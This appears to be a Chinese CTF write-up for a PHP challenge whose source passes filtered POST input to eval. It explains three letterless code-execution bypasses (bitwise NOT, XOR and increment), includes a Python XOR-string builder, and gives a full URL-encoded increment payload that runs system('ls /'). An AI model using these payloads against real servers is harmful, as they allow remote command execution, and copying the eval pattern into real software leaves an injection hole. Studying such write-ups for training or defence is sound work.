1.打开环境。
查看源码传入hint获得源码。
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
无参RCE,主要方法有三种,取反,自增,异或
这里因为~和^都被过滤了,所以考虑自增。
不过先总结一下无字母RCE的常见方法及原理:
1.取反
<?php
$a=~urlencode('phpinfo');
echo $a;
$b=~urldecode($a);
echo $b;
?>
本地测试结果:
也就是对$a进行取反操作,形成非常规字符绕过限制,在浏览器解析的时候,再还原成原来的payload.
2.异或
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
对字符串进行异或操作时,php解析时会将异或结果自动转换为字符串,以其给$_赋值,再通过拼接获取payload
3.自增
-
$_=[].''; //得到"Array"
-
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
由于php变量没有赋值时默认是零,且数组与字符串拼接时返回Array,由此由A自增可以得到全部26位字母通过拼接构造payload.
本地测试结果:
<?php
$a = "".[];
echo $a;
?>
结果:
而在本题,由于长度限制,所以可以构造参数,再上传参数减少长度。
payload:
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20
1=system&&2=ls /
参考文章:
无数字字母rce总结(取反、异或、自增、临时文件)